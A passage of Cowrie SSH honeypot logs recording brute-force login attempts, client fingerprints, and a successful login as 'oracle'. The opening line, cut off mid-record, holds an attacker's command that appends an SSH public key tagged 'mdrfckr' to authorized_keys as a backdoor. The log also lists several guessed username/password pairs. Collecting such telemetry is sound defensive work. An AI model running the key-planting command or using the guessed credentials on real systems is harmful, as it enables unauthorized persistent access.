AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:26.287929Z","src_ip":"112.217.199.222","session":"34251ed237f4","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:26.497773Z","src_ip":"112.217.199.222","session":"34251ed237f4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:26.501705Z","src_ip":"112.217.199.222","session":"34251ed237f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":53206,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8312bdfbd4e","protocol":"ssh","message":"New connection: 112.217.199.222:53206 (10.17.0.5:22) [session: b8312bdfbd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:26.706194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:26.714043Z","src_ip":"112.217.199.222","session":"b8312bdfbd4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:26.920622Z","src_ip":"112.217.199.222","session":"b8312bdfbd4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:27.754551Z","src_ip":"112.217.199.222","session":"b8312bdfbd4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:28.968553Z","src_ip":"112.217.199.222","session":"b8312bdfbd4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":54004,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3f81fe5155f","protocol":"ssh","message":"New connection: 112.217.199.222:54004 (10.17.0.5:22) [session: b3f81fe5155f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:29.175467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:29.181787Z","src_ip":"112.217.199.222","session":"b3f81fe5155f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:29.391189Z","src_ip":"112.217.199.222","session":"b3f81fe5155f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:30.260566Z","src_ip":"112.217.199.222","session":"b3f81fe5155f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:30.472386Z","src_ip":"112.217.199.222","session":"34251ed237f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:30.478342Z","src_ip":"112.217.199.222","session":"b3f81fe5155f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":29276,"dst_ip":"10.17.0.5","dst_port":22,"session":"945ea79c49c6","protocol":"ssh","message":"New connection: 2.57.121.25:29276 (10.17.0.5:22) [session: 945ea79c49c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:31.564055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:31.568612Z","src_ip":"2.57.121.25","session":"945ea79c49c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:31.668040Z","src_ip":"2.57.121.25","session":"945ea79c49c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fastcars","message":"login attempt [user/fastcars] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:32.137992Z","src_ip":"2.57.121.25","session":"945ea79c49c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fannie","message":"login attempt [user/fannie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:33.239858Z","src_ip":"2.57.121.25","session":"945ea79c49c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"familia","message":"login attempt [user/familia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:34.341695Z","src_ip":"2.57.121.25","session":"945ea79c49c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"falstaff","message":"login attempt [user/falstaff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:35.443033Z","src_ip":"2.57.121.25","session":"945ea79c49c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"evergreen","message":"login attempt [user/evergreen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:36.545213Z","src_ip":"2.57.121.25","session":"945ea79c49c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:37.647577Z","src_ip":"2.57.121.25","session":"945ea79c49c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35682,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac02cdad31a8","protocol":"ssh","message":"New connection: 159.203.92.129:35682 (159.203.135.109:22) [session: ac02cdad31a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:46.416807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:46.421613Z","src_ip":"159.203.92.129","session":"ac02cdad31a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:46.426712Z","src_ip":"159.203.92.129","session":"ac02cdad31a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"123456","message":"login attempt [ali/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:46.439443Z","src_ip":"159.203.92.129","session":"ac02cdad31a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":52158,"dst_ip":"10.17.0.5","dst_port":22,"session":"634288af5d63","protocol":"ssh","message":"New connection: 171.244.143.209:52158 (10.17.0.5:22) [session: 634288af5d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:46.481212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:46.486066Z","src_ip":"171.244.143.209","session":"634288af5d63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:46.761581Z","src_ip":"171.244.143.209","session":"634288af5d63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:47.456355Z","src_ip":"159.203.92.129","session":"ac02cdad31a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible1234","message":"login attempt [ansible/ansible1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:47.798563Z","src_ip":"171.244.143.209","session":"634288af5d63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:58:49.046220Z","src_ip":"171.244.143.209","session":"634288af5d63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":46660,"dst_ip":"159.203.135.109","dst_port":22,"session":"06c1575b5888","protocol":"ssh","message":"New connection: 152.32.213.101:46660 (159.203.135.109:22) [session: 06c1575b5888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:01.854930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:01.859928Z","src_ip":"152.32.213.101","session":"06c1575b5888","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:02.078239Z","src_ip":"152.32.213.101","session":"06c1575b5888","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q!W@E#R$","message":"login attempt [root/Q!W@E#R$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:02.965196Z","src_ip":"152.32.213.101","session":"06c1575b5888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:04.179999Z","src_ip":"152.32.213.101","session":"06c1575b5888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47406,"dst_ip":"159.203.135.109","dst_port":22,"session":"af015914cd42","protocol":"ssh","message":"New connection: 159.203.92.129:47406 (159.203.135.109:22) [session: af015914cd42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:26.349830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:26.353831Z","src_ip":"159.203.92.129","session":"af015914cd42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:26.357810Z","src_ip":"159.203.92.129","session":"af015914cd42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:26.368020Z","src_ip":"159.203.92.129","session":"af015914cd42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:27.373860Z","src_ip":"159.203.92.129","session":"af015914cd42","protocol":"ssh"}
